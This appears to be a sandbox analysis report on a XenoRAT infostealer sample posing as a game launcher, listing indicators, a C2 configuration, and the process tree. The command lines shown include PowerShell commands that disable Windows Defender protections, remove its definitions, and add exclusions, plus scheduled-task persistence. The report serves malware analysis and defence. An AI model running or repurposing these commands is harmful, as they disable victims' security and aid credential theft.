xenorat | 74f7d78429b1bca9516da39343118b371d14e6fdb25b8708ff3d32391c84ab8c

Analysis

max time kernel
145s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
17-05-2024 01:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
Size

7.4MB
MD5

748f98d4289c294ee45a7b8a6c9aa9c0
SHA1

255b8f45a7e994abc1cb3fa97f7d09041888011c
SHA256

74f7d78429b1bca9516da39343118b371d14e6fdb25b8708ff3d32391c84ab8c
SHA512

a4a838f2cedaeb17d61bae3808adc20a8fbaeec48d8a423240c3eb18509f73782822ed499642840a64212196c1f15af7101975c9362576ff9ef257a1095825aa
SSDEEP

196608:SrH5P9VjurErvI9pWjgfPvzm6gsFEB4Auq:YlNurEUWjC3zDb84Auq

Score

10^/10

xenorat execution rat spyware stealer trojan upx

Malware Config

Extracted

Family

xenorat

himekosworld-37849.portmap.host

Mutex

Xeno_rat_nd8912d

Attributes

delay
5000
install_path
temp
port
37849
startup_name
WindowsClient

Signatures

Detects XenoRAT malware 2 IoCs

XenoRAT is an open-source remote access tool (RAT) developed in C#.

rat

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\bound.exe	XenoRAT
behavioral2/memory/3448-87-0x0000000000E30000-0x0000000000E42000-memory.dmp	XenoRAT

XenorRat
XenorRat is a remote access trojan written in C#.
trojan rat xenorat
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

3548 powershell.exe
3564 powershell.exe
5088 powershell.exe
5420 powershell.exe

Drops file in Drivers directory 3 IoCs

Processes:

attrib.exe748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exeattrib.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

bound.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation bound.exe
Executes dropped EXE 3 IoCs

Processes:

bound.exebound.exerar.exe

pid process

3448 bound.exe
4252 bound.exe
3376 rar.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	bound.exe

pid	process
3448	bound.exe
4252	bound.exe
3376	rar.exe

Loads dropped DLL 17 IoCs

Processes:

748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe

pid	process
744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\_MEI37522\python311.dll	upx
behavioral2/memory/744-26-0x00007FFBF83C0000-0x00007FFBF89B2000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI37522\_ctypes.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI37522\libffi-8.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI37522\_ssl.pyd	upx
behavioral2/memory/744-50-0x00007FFC0B9D0000-0x00007FFC0B9DF000-memory.dmp	upx
behavioral2/memory/744-49-0x00007FFC08520000-0x00007FFC08544000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\_MEI37522\_sqlite3.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI37522\_socket.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI37522\_queue.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI37522\_lzma.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI37522\_hashlib.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI37522\_decimal.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI37522\_bz2.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI37522\unicodedata.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI37522\sqlite3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI37522\select.pyd	upx
C:\Users\Admin\AppData\Local\Temp\_MEI37522\libssl-3.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI37522\libcrypto-3.dll	upx
behavioral2/memory/744-56-0x00007FFC08370000-0x00007FFC0839D000-memory.dmp	upx
behavioral2/memory/744-59-0x00007FFC08570000-0x00007FFC08589000-memory.dmp	upx
behavioral2/memory/744-60-0x00007FFC08340000-0x00007FFC08363000-memory.dmp	upx
behavioral2/memory/744-62-0x00007FFBF7E50000-0x00007FFBF7FCE000-memory.dmp	upx
behavioral2/memory/744-64-0x00007FFC08320000-0x00007FFC08339000-memory.dmp	upx
behavioral2/memory/744-70-0x00007FFC07F50000-0x00007FFC0801D000-memory.dmp	upx
behavioral2/memory/744-69-0x00007FFC081C0000-0x00007FFC081F3000-memory.dmp	upx
behavioral2/memory/744-74-0x00007FFBF7920000-0x00007FFBF7E49000-memory.dmp	upx
behavioral2/memory/744-73-0x00007FFBF83C0000-0x00007FFBF89B2000-memory.dmp	upx
behavioral2/memory/744-68-0x00007FFC086C0000-0x00007FFC086CD000-memory.dmp	upx
behavioral2/memory/744-83-0x00007FFBF74D0000-0x00007FFBF75EC000-memory.dmp	upx
behavioral2/memory/744-82-0x00007FFC08520000-0x00007FFC08544000-memory.dmp	upx
behavioral2/memory/744-79-0x00007FFC082F0000-0x00007FFC082FD000-memory.dmp	upx
behavioral2/memory/744-78-0x00007FFC08300000-0x00007FFC08314000-memory.dmp	upx
behavioral2/memory/744-360-0x00007FFC08320000-0x00007FFC08339000-memory.dmp	upx
behavioral2/memory/744-369-0x00007FFBF7E50000-0x00007FFBF7FCE000-memory.dmp	upx
behavioral2/memory/744-368-0x00007FFC08340000-0x00007FFC08363000-memory.dmp	upx
behavioral2/memory/744-364-0x00007FFBF7920000-0x00007FFBF7E49000-memory.dmp	upx
behavioral2/memory/744-363-0x00007FFC07F50000-0x00007FFC0801D000-memory.dmp	upx
behavioral2/memory/744-354-0x00007FFC08520000-0x00007FFC08544000-memory.dmp	upx
behavioral2/memory/744-353-0x00007FFBF83C0000-0x00007FFBF89B2000-memory.dmp	upx
behavioral2/memory/744-367-0x00007FFBF74D0000-0x00007FFBF75EC000-memory.dmp	upx
behavioral2/memory/744-362-0x00007FFC081C0000-0x00007FFC081F3000-memory.dmp	upx
behavioral2/memory/744-405-0x00007FFC08570000-0x00007FFC08589000-memory.dmp	upx
behavioral2/memory/744-404-0x00007FFC08370000-0x00007FFC0839D000-memory.dmp	upx
behavioral2/memory/744-403-0x00007FFC0B9D0000-0x00007FFC0B9DF000-memory.dmp	upx
behavioral2/memory/744-402-0x00007FFC08520000-0x00007FFC08544000-memory.dmp	upx
behavioral2/memory/744-401-0x00007FFC08340000-0x00007FFC08363000-memory.dmp	upx
behavioral2/memory/744-400-0x00007FFBF74D0000-0x00007FFBF75EC000-memory.dmp	upx
behavioral2/memory/744-399-0x00007FFC082F0000-0x00007FFC082FD000-memory.dmp	upx
behavioral2/memory/744-398-0x00007FFC08300000-0x00007FFC08314000-memory.dmp	upx
behavioral2/memory/744-397-0x00007FFBF7920000-0x00007FFBF7E49000-memory.dmp	upx
behavioral2/memory/744-396-0x00007FFC07F50000-0x00007FFC0801D000-memory.dmp	upx
behavioral2/memory/744-395-0x00007FFC081C0000-0x00007FFC081F3000-memory.dmp	upx
behavioral2/memory/744-394-0x00007FFC086C0000-0x00007FFC086CD000-memory.dmp	upx
behavioral2/memory/744-393-0x00007FFC08320000-0x00007FFC08339000-memory.dmp	upx
behavioral2/memory/744-392-0x00007FFBF7E50000-0x00007FFBF7FCE000-memory.dmp	upx
behavioral2/memory/744-386-0x00007FFBF83C0000-0x00007FFBF89B2000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

38 discord.com
39 discord.com
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

21 ip-api.com
36 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

5440 schtasks.exe
Detects videocard installed 1 TTPs 3 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exeWMIC.exeWMIC.exe

pid process

1096 WMIC.exe
1960 WMIC.exe
5408 WMIC.exe
Enumerates processes with tasklist 1 TTPs 5 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exetasklist.exe

pid process

4664 tasklist.exe
5288 tasklist.exe
1016 tasklist.exe
3120 tasklist.exe
1224 tasklist.exe
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

5428 systeminfo.exe

flow	ioc
38	discord.com
39	discord.com

flow	ioc
21	ip-api.com
36	ip-api.com

pid	process
5440	schtasks.exe

pid	process
1096	WMIC.exe
1960	WMIC.exe
5408	WMIC.exe

pid	process
4664	tasklist.exe
5288	tasklist.exe
1016	tasklist.exe
3120	tasklist.exe
1224	tasklist.exe

pid	process
5428	systeminfo.exe

Kills process with taskkill 11 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
4056	taskkill.exe
680	taskkill.exe
5580	taskkill.exe
5696	taskkill.exe
5384	taskkill.exe
5164	taskkill.exe
5812	taskkill.exe
5860	taskkill.exe
5240	taskkill.exe
4696	taskkill.exe
5988	taskkill.exe

Suspicious behavior: EnumeratesProcesses 31 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
3548	powershell.exe
3548	powershell.exe
3564	powershell.exe
3564	powershell.exe
4772	powershell.exe
4772	powershell.exe
3548	powershell.exe
3564	powershell.exe
4772	powershell.exe
5088	powershell.exe
5088	powershell.exe
5088	powershell.exe
5088	powershell.exe
5264	powershell.exe
5264	powershell.exe
5420	powershell.exe
5420	powershell.exe
5420	powershell.exe
5264	powershell.exe
5552	powershell.exe
5552	powershell.exe
5552	powershell.exe
3480	powershell.exe
3480	powershell.exe
3480	powershell.exe
5060	powershell.exe
5060	powershell.exe
5060	powershell.exe
5176	powershell.exe
5176	powershell.exe
5176	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

WMIC.exetasklist.exepowershell.exepowershell.exepowershell.exeWMIC.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1972	WMIC.exe
Token: SeSecurityPrivilege	1972	WMIC.exe
Token: SeTakeOwnershipPrivilege	1972	WMIC.exe
Token: SeLoadDriverPrivilege	1972	WMIC.exe
Token: SeSystemProfilePrivilege	1972	WMIC.exe
Token: SeSystemtimePrivilege	1972	WMIC.exe
Token: SeProfSingleProcessPrivilege	1972	WMIC.exe
Token: SeIncBasePriorityPrivilege	1972	WMIC.exe
Token: SeCreatePagefilePrivilege	1972	WMIC.exe
Token: SeBackupPrivilege	1972	WMIC.exe
Token: SeRestorePrivilege	1972	WMIC.exe
Token: SeShutdownPrivilege	1972	WMIC.exe
Token: SeDebugPrivilege	1972	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1972	WMIC.exe
Token: SeRemoteShutdownPrivilege	1972	WMIC.exe
Token: SeUndockPrivilege	1972	WMIC.exe
Token: SeManageVolumePrivilege	1972	WMIC.exe
Token: 33	1972	WMIC.exe
Token: 34	1972	WMIC.exe
Token: 35	1972	WMIC.exe
Token: 36	1972	WMIC.exe
Token: SeDebugPrivilege	3120	tasklist.exe
Token: SeDebugPrivilege	3548	powershell.exe
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeIncreaseQuotaPrivilege	1972	WMIC.exe
Token: SeSecurityPrivilege	1972	WMIC.exe
Token: SeTakeOwnershipPrivilege	1972	WMIC.exe
Token: SeLoadDriverPrivilege	1972	WMIC.exe
Token: SeSystemProfilePrivilege	1972	WMIC.exe
Token: SeSystemtimePrivilege	1972	WMIC.exe
Token: SeProfSingleProcessPrivilege	1972	WMIC.exe
Token: SeIncBasePriorityPrivilege	1972	WMIC.exe
Token: SeCreatePagefilePrivilege	1972	WMIC.exe
Token: SeBackupPrivilege	1972	WMIC.exe
Token: SeRestorePrivilege	1972	WMIC.exe
Token: SeShutdownPrivilege	1972	WMIC.exe
Token: SeDebugPrivilege	1972	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1972	WMIC.exe
Token: SeRemoteShutdownPrivilege	1972	WMIC.exe
Token: SeUndockPrivilege	1972	WMIC.exe
Token: SeManageVolumePrivilege	1972	WMIC.exe
Token: 33	1972	WMIC.exe
Token: 34	1972	WMIC.exe
Token: 35	1972	WMIC.exe
Token: 36	1972	WMIC.exe
Token: SeDebugPrivilege	4772	powershell.exe
Token: SeIncreaseQuotaPrivilege	1096	WMIC.exe
Token: SeSecurityPrivilege	1096	WMIC.exe
Token: SeTakeOwnershipPrivilege	1096	WMIC.exe
Token: SeLoadDriverPrivilege	1096	WMIC.exe
Token: SeSystemProfilePrivilege	1096	WMIC.exe
Token: SeSystemtimePrivilege	1096	WMIC.exe
Token: SeProfSingleProcessPrivilege	1096	WMIC.exe
Token: SeIncBasePriorityPrivilege	1096	WMIC.exe
Token: SeCreatePagefilePrivilege	1096	WMIC.exe
Token: SeBackupPrivilege	1096	WMIC.exe
Token: SeRestorePrivilege	1096	WMIC.exe
Token: SeShutdownPrivilege	1096	WMIC.exe
Token: SeDebugPrivilege	1096	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1096	WMIC.exe
Token: SeRemoteShutdownPrivilege	1096	WMIC.exe
Token: SeUndockPrivilege	1096	WMIC.exe
Token: SeManageVolumePrivilege	1096	WMIC.exe
Token: 33	1096	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exebound.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 3752 wrote to memory of 744	3752	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
PID 3752 wrote to memory of 744	3752	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
PID 744 wrote to memory of 1776	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 1776	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 2844	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 2844	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 5036	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 5036	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 3972	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 3972	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 2992	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 2992	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 3420	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 3420	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 3604	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 3604	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 3972 wrote to memory of 3448	3972	cmd.exe	bound.exe
PID 3972 wrote to memory of 3448	3972	cmd.exe	bound.exe
PID 3972 wrote to memory of 3448	3972	cmd.exe	bound.exe
PID 3604 wrote to memory of 1972	3604	cmd.exe	WMIC.exe
PID 3604 wrote to memory of 1972	3604	cmd.exe	WMIC.exe
PID 3420 wrote to memory of 3120	3420	cmd.exe	tasklist.exe
PID 3420 wrote to memory of 3120	3420	cmd.exe	tasklist.exe
PID 2844 wrote to memory of 4772	2844	cmd.exe	powershell.exe
PID 2844 wrote to memory of 4772	2844	cmd.exe	powershell.exe
PID 2992 wrote to memory of 3084	2992	cmd.exe	mshta.exe
PID 2992 wrote to memory of 3084	2992	cmd.exe	mshta.exe
PID 1776 wrote to memory of 3548	1776	cmd.exe	powershell.exe
PID 1776 wrote to memory of 3548	1776	cmd.exe	powershell.exe
PID 5036 wrote to memory of 3564	5036	cmd.exe	powershell.exe
PID 5036 wrote to memory of 3564	5036	cmd.exe	powershell.exe
PID 3448 wrote to memory of 4252	3448	bound.exe	bound.exe
PID 3448 wrote to memory of 4252	3448	bound.exe	bound.exe
PID 3448 wrote to memory of 4252	3448	bound.exe	bound.exe
PID 744 wrote to memory of 448	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 448	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 448 wrote to memory of 1248	448	cmd.exe	reg.exe
PID 448 wrote to memory of 1248	448	cmd.exe	reg.exe
PID 744 wrote to memory of 4392	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 4392	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 4392 wrote to memory of 4956	4392	cmd.exe	Conhost.exe
PID 4392 wrote to memory of 4956	4392	cmd.exe	Conhost.exe
PID 744 wrote to memory of 5060	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 5060	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 5060 wrote to memory of 1096	5060	cmd.exe	WMIC.exe
PID 5060 wrote to memory of 1096	5060	cmd.exe	WMIC.exe
PID 744 wrote to memory of 1260	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 1260	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 1260 wrote to memory of 1960	1260	cmd.exe	WMIC.exe
PID 1260 wrote to memory of 1960	1260	cmd.exe	WMIC.exe
PID 744 wrote to memory of 2380	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 2380	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 2380 wrote to memory of 5088	2380	cmd.exe	powershell.exe
PID 2380 wrote to memory of 5088	2380	cmd.exe	powershell.exe
PID 744 wrote to memory of 4728	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 4728	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 4156	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 4156	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 4728 wrote to memory of 4664	4728	cmd.exe	tasklist.exe
PID 4728 wrote to memory of 4664	4728	cmd.exe	tasklist.exe
PID 744 wrote to memory of 4972	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 4972	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 5064	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe
PID 744 wrote to memory of 5064	744	748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe	cmd.exe

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exeattrib.exe

pid process

5848 attrib.exe
6032 attrib.exe

pid	process
5848	attrib.exe
6032	attrib.exe

C:\Users\Admin\AppData\Local\Temp\748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3752

C:\Users\Admin\AppData\Local\Temp\748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe"
2⤵
- Drops file in Drivers directory
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:744

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe'"
3⤵
- Suspicious use of WriteProcessMemory
PID:1776

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\748f98d4289c294ee45a7b8a6c9aa9c0_NeikiAnalytics.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3548

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
3⤵
- Suspicious use of WriteProcessMemory
PID:2844

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4772

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
3⤵
- Suspicious use of WriteProcessMemory
PID:5036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3564

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "start bound.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:3972

C:\Users\Admin\AppData\Local\Temp\bound.exe
bound.exe
4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3448

C:\Users\Admin\AppData\Local\Temp\XenoManager\bound.exe
"C:\Users\Admin\AppData\Local\Temp\XenoManager\bound.exe"
5⤵
- Executes dropped EXE
PID:4252

C:\Windows\SysWOW64\schtasks.exe
"schtasks.exe" /Create /TN "WindowsClient" /XML "C:\Users\Admin\AppData\Local\Temp\tmp9EE.tmp" /F
6⤵
- Creates scheduled task(s)
PID:5440

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Ohh , looks like we do not support that kind of device you are using yet .......', 0, 'ReksFN_Launcher gg/reks', 0+16);close()""
3⤵
- Suspicious use of WriteProcessMemory
PID:2992

C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Ohh , looks like we do not support that kind of device you are using yet .......', 0, 'ReksFN_Launcher gg/reks', 0+16);close()"
4⤵
PID:3084

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
3⤵
- Suspicious use of WriteProcessMemory
PID:3420

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3120

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
3⤵
- Suspicious use of WriteProcessMemory
PID:3604

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1972

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
3⤵
- Suspicious use of WriteProcessMemory
PID:448

C:\Windows\system32\reg.exe
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
4⤵
PID:1248

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
3⤵
- Suspicious use of WriteProcessMemory
PID:4392

C:\Windows\system32\reg.exe
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
4⤵
PID:4956

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
3⤵
- Suspicious use of WriteProcessMemory
PID:5060

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
4⤵
- Detects videocard installed
- Suspicious use of AdjustPrivilegeToken
PID:1096

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
3⤵
- Suspicious use of WriteProcessMemory
PID:1260

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
4⤵
- Detects videocard installed
PID:1960

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‌ .scr'"
3⤵
- Suspicious use of WriteProcessMemory
PID:2380

